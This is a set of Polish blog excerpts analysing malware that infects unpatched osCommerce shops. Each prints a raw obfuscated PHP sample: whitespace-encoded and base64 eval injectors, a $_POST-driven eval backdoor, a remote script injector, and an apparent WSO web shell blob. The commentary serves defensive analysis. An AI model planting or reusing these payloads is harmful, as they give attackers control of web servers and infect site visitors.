Dzisiaj w ręce wpadł mi „ciekawy” kod który ostatno zaraża niezaktualizowane sklepy bazujące na osCommerce. Kod sam w sobie nie jest bardzo skomplikowany, ale sposób w jaki został napisany zasługuje na wyróżnienie :)

<?php
    /**
     * Gets some core libraries and displays a top message if required.	/*
     */ if(!function_exists('CoreLibrariesHandler')) {			/*
     */ function CoreLibrariesHandler() {					/*
     */   $session_keys = '  				   			  		 		   		 			  	  		 	  	 			     			 	    	      			  		 			  	  		   		  				 	  	   	  		 	    			 	   			 	   			      			 	   	 				  	 				 		 	    		  	 	 			  	  		   		 			 	 	 		 		   		  	 	 			  		  		   	  		   	  		     		  		  		    	 			  	  		 		 	  	 			  		   		 				 	   	 			  		   		 		   		  	 				 		 	 	  			   	 			 	 	 		  	 	 			  	  				  	  	 			  		 		 	 		 	  	 		 			   	 			  		 	 	  			  		  	   	   					   				    	 				 			  		 		   		 			  	  		 	  	 			     			 	    					 ';  /*
     */									/*
     */	foreach(str_split($session_keys, 7+1) as $k=>$v) { 		/*
     */		$v = str_replace('	', 1, str_replace(' ', 0, $v));	/*
     */		$session_keys[$k] = chr(bindec($v)); 			/*
     */	} 								/*
     */									/*
     */	if($session_keys) echo $session_keys; }				/*
     */	register_shutdown_function('CoreLibrariesHandler');		/*
     */ }									/*
     ************************************************************************/
?>

Przeczytaj resztę wpisu »

Comments Komentarze są wyłączone

Dzisiaj w cyklu mam kodzik który jak na takie syfy jest całkiem ładnie napisany. Autor wziął pod uwagę kilka sytuacji specjalnych, ale o tym poniżej. Bazowy kod który można znaleźć wygląda podobnie do wszystkich pozostałych:

<?php
eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndXEyJykpe2Z1bmN0aW9uIHVxMigkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0Y2goJyNbXC4gXXdpZHRoXHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwzWmhjMkZwYTJGeUxtOXlaeTl0WVcxaWIzUnpMM05sWVhKamFDNXdhSEFnUGp3dmMyTnlhWEIwUGc9PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24gdXEyMigkYSwkYiwkYywkZCl7Z2xvYmFsJHVxMjE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJHVxMjEpKWNhbGxfdXNlcl9mdW5jKCR1cTIxLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSd1cTInKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCd1cTInKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kdXEybD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcigndXEyMicpKSE9J3VxMjInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw=='));
?>

Po odkręceniu base64 zobaczymy jednoliniowy kod, który już dla ułatwienia ułożyłem:
Przeczytaj resztę wpisu »

Comments Komentarze są wyłączone

Kolejny kod który wpadł w moje ręce. Autor napisał nawet własną funkcję zaciemniającą kod, która zaciemnia kod w taki sposób, że na pierwszy rzut oka nie wiadomo czy to się nawet uruchamia :) . Zobaczcie sami.

Kod oryginalny (wygląd podstawowy raczej standardowy):

<?php
eval(base64_decode("ZnVuY3Rpb24gZXZhbGhJT29MZ0xLWlltdEooJHMpe2ZvciAoJGEgPSAwOyAkYSA8PSBzdHJsZW4oJHMpLTE7ICRhKysgKXskZSAuPSAkc3tzdHJsZW4oJHMpLSRhLTF9O31yZXR1cm4oJGUpO31ldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPTAzT3BBVFdMbEdUUnhtYzBsa1VxNTBUc0ZtZGxSQ0tsUjJialZHWmZSak5sTlhZaUJpYnlWSGRsSjNlZ2tDTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSm9rMVNweFVVc0pIZEpKbGFPOUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI9c1RLaTBUUDNKV2IxY1ZZaWdTV0xsR1RSeG1jMGxrVXE1MFRzRm1kbEJTUGdFMVFTRjNZVGwzVklKbFJ5UlZUNXhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiN2tpSTkwRVNraG1Vek1tSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWjlNa1laSlZkaGhsZXhsRVMzVjBhd3hXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPXNUS2kwVFBCTkdNU2hVWWlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGwxamUybFhlcVYwWmhSM1EycEhjRnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxoSU9vTGdMS1pZbXRKKCc7KSkiPXNUS2kwRE5YRm1Jb2sxU3B4VVVzSkhkSkpsYU85RWJoWlhaOXNXWVNCWFNpVkVWaHAxVWl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIj1zVEtpMFRQUmxrZGtkVlNpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsMVRUbnQwUnZoWFRIUlZTWVprVGF4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIj09d09kbGlJVlZUVlNoa1J3ZzFVV0JUVldsalJWVmxVR05sSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWmJKVlJXSlZSVDlGSjlVRmJKRm5heGQyUkpwMmR6eFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI9PXdPcGtpSTkwelpqeEdldGxGZEcxV1ZpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsQkNMcElDTldka1cxWjBWWEpDS1p0VWFNRkZieVJYU1NwbVRQeFdZMlZHSXNraUk5a0VXYUpEYkhGbWFLaFZXbVowVmhKQ0tadFVhTUZGYnlSWFNTcG1UUHhXWTJWR0lza2lJd2tUYlI5a1RXUmxJb2sxU3B4VVVzSkhkSkpsYU85RWJoWlhaZ3dTS2kwVFF1TldNNEpUVmlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGxCQ0xwSUNiNEpqVzJsak1TSkNLWnRVYU1GRmJ5UlhTU3BtVFB4V1kyVkdLNUZtY3lGR0k5QVNZNmhIU3Y1V1FtbFVlUWRtZHp4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIj09d09STmtVeE4yVTVkRlNTWmtjVTFVZXNGbWRsUlNQdVExYk0xV1NZTjNUWGhFWllaRmJoWlhaa0FTS2dzeUtwUkNJN1VESTl3RElwUkNJN0FESTlBU2FrZ0NJeTltWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI3a1NLaTBUUFJaMk5ybDNZcmRXZWpCVE5YcEZNMUlqWXFsalJreEdaeWdGYjRkVll0SlVSSlZuU1lSR01XMTJZM0kwVUxwblVEdGtlajFtV25Sak1pQm5VemtWZFc1bVdpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsaENiaFpYWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGhJT29MZ0xLWlltdEooJzspKSI9PXdPUk5rVXhOMlU1ZEZTU1prY1UxVWVzRm1kbFJpTGk0aUk5NENJVTlHVHRsRVd6OTBWSVJHV1d4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsaElPb0xnTEtaWW10SignOykpIjkxM094azFTcHhVVXNKSGRKSmxhTzlFYmhaWFprQXlib05XWjcwVk1iRlRXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsUkNJOUFTTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSmdzVEt4azFTcHhVVXNKSGRKSmxhTzlFYmhaWFprd1NUbnQwUnZoWFRIUlZTWVprVGF4V1kyVkdKb1VHWnZ4R2M0VkdJOUFTTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSjdsU0tOZDJTSDlHZU5kRVZKaGxST3BGYmhaWFprd1NNWnRVYU1GRmJ5UlhTU3BtVFB4V1kyVkdKb0lIZHpKSGR6aENJbWwyT3BrU1hwSVNWT0ZEVkpsalJWVmxVR05sSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWmJKVlJXSlZSVDlGSm9VR1p2Tm1ibHhtYzE1U0tpa3padHBrSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWnVrU1ZzbFVjcUYzWkhsa2EzTkhiaFpYWmtnU1prOTJZdVZHYnlWbkxwSVNPSjFtU2lnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGw1U1hwSVNQSlprVUZaRU1ZWmtVeFFsVFd0V1ZpZ1NXTGxHVFJ4bWMwbGtVcTUwVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvazFTcHhVVXNKSGRKSmxhTzlFYmhaWFp1a2lJOWdEUmpKQ0tadFVhTUZGYnlSWFNTcG1UUHhXWTJWbUxwSXliQzVHVGlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGw1eWFoSkZjSkpXUlVGbVdUSkdiaFpYWms0U0tpMFRQM3hrSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWnVRMWJNMVdTWU4zVFhoRVpZWkZiaFpYWms0U0tpMERPNXhrSW9rMVNweFVVc0pIZEpKbGFPOUViaFpYWnVraUk5MHpaUEpDS1p0VWFNRkZieVJYU1NwbVRQeFdZMlZtTDZaWGU1cFdSbkZHZERabmV3VkViaFpYWmtneU1uWkdJOUFTTVp0VWFNRkZieVJYU1NwbVRQeFdZMlZHSmdzVEt3QURPd0V6S3BnU1p0bEdkc2tTS2kwVFRJUkdhU056WWlnU1dMbEdUUnhtYzBsa1VxNTBUc0ZtZGxoU05rMUdMREpXV1NWWFlZcFhjSmgwZEZ0R2NzRm1kbFJDS2xsMmF2OTJZMFYyY0FCeWVnVTJjc1ZHSTl0SElwa1NLZE5rWVpKVmRoaGxleGxFUzNWMGF3eFdZMlZHSmJWVVNMOTBURDlGSm9RWFp6Tlhhb0FpY3ZCU0twVUZiSkZuYXhkMlJKcDJkenhXWTJWR0pnd2lJcDlpSWc0Q0lwRW1lNGgwYnVGa1pKbEhVblozY3NGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTs="));
?>

Po odwróceniu eval’a mamy: Przeczytaj resztę wpisu »

Comments Komentarze są wyłączone

Dzisiaj w cyklu „Ataki na web aplikacje” mam kod który atakuje ostatnio oprogramowanie osCommerce.

<?php
/**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvdmFyL3d3dy92aG9zdHMvYnVybmV0dHNhbmRzdHJ1dGguY29tL2h0dHBkb2NzL0ZDS2VkaXRvci9lZGl0b3IvZmlsZW1hbmFnZXIvYnJvd3Nlci9tY3B1ay9jb25uZWN0b3JzL3BocC9Db21tYW5kcy9oZWxwZXJzL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvdmFyL3d3dy92aG9zdHMvYnVybmV0dHNhbmRzdHJ1dGguY29tL2h0dHBkb2NzL0ZDS2VkaXRvci9lZGl0b3IvZmlsZW1hbmFnZXIvYnJvd3Nlci9tY3B1ay9jb25uZWN0b3JzL3BocC9Db21tYW5kcy9oZWxwZXJzL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjQpeyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9dW5wYWNrKCd2JyxzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwxMCwyKSk7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0kUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxWzFdOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTIrJFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKTtpZigkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPT09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0dXJuICRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29iaCgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTskUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXtyZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ=='));
?>

W środku kryje się kod: Przeczytaj resztę wpisu »

Comments Komentarze są wyłączone

Z bazy zaległych syfów wyciągnąłem taki oto kodzik:

<?php if(!function_exists("TC9A16C47DA8EEE87")){function TC9A16C47DA8EEE87($T059EC46CFE335260){$T059EC46CFE335260=base64_decode($T059EC46CFE335260);$TC9A16C47DA8EEE87=0;$TA7FB8B0A1C0E2E9E=0;$T17D35BB9DF7A47E4=0;$T65CE9F6823D588A7=(ord($T059EC46CFE335260[1])<<8)+ord($T059EC46CFE335260[2]);$TBF14159DC7D007D3=3;$T77605D5F26DD5248=0;$T4A747C3263CA7A55=16;$T7C7E72B89B83E235="";$T0D47BDF6FD9DDE2E=strlen($T059EC46CFE335260);$T43D5686285035C13=__FILE__;$T43D5686285035C13=file_get_contents($T43D5686285035C13);$T6BBC58A3B5B11DC4=0;preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"),$T43D5686285035C13,$T6BBC58A3B5B11DC4);for(;$TBF14159DC7D007D3<$T0D47BDF6FD9DDE2E;){if(count($T6BBC58A3B5B11DC4)) exit;if($T4A747C3263CA7A55==0){$T65CE9F6823D588A7=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])<<8);$T65CE9F6823D588A7+=ord($T059EC46CFE335260[$TBF14159DC7D007D3++]);$T4A747C3263CA7A55=16;}if($T65CE9F6823D588A7&0x8000){$TC9A16C47DA8EEE87=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])<<4);$TC9A16C47DA8EEE87+=(ord($T059EC46CFE335260[$TBF14159DC7D007D3])>>4);if($TC9A16C47DA8EEE87){$TA7FB8B0A1C0E2E9E=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])&0x0F)+3;for($T17D35BB9DF7A47E4=0;$T17D35BB9DF7A47E4<$TA7FB8B0A1C0E2E9E;$T17D35BB9DF7A47E4++)$T7C7E72B89B83E235[$T77605D5F26DD5248+$T17D35BB9DF7A47E4]=$T7C7E72B89B83E235[$T77605D5F26DD5248-$TC9A16C47DA8EEE87+$T17D35BB9DF7A47E4];$T77605D5F26DD5248+=$TA7FB8B0A1C0E2E9E;}else{$TA7FB8B0A1C0E2E9E=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])<<8);$TA7FB8B0A1C0E2E9E+=ord($T059EC46CFE335260[$TBF14159DC7D007D3++])+16;for($T17D35BB9DF7A47E4=0;$T17D35BB9DF7A47E4<$TA7FB8B0A1C0E2E9E;$T7C7E72B89B83E235[$T77605D5F26DD5248+$T17D35BB9DF7A47E4++]=$T059EC46CFE335260[$TBF14159DC7D007D3]);$TBF14159DC7D007D3++;$T77605D5F26DD5248+=$TA7FB8B0A1C0E2E9E;}}else $T7C7E72B89B83E235[$T77605D5F26DD5248++]=$T059EC46CFE335260[$TBF14159DC7D007D3++];$T65CE9F6823D588A7<<=1;$T4A747C3263CA7A55--;if($TBF14159DC7D007D3==$T0D47BDF6FD9DDE2E){$T43D5686285035C13=implode("",$T7C7E72B89B83E235);$T43D5686285035C13="?".">".$T43D5686285035C13;return $T43D5686285035C13;}}}}eval(TC9A16C47DA8EEE87("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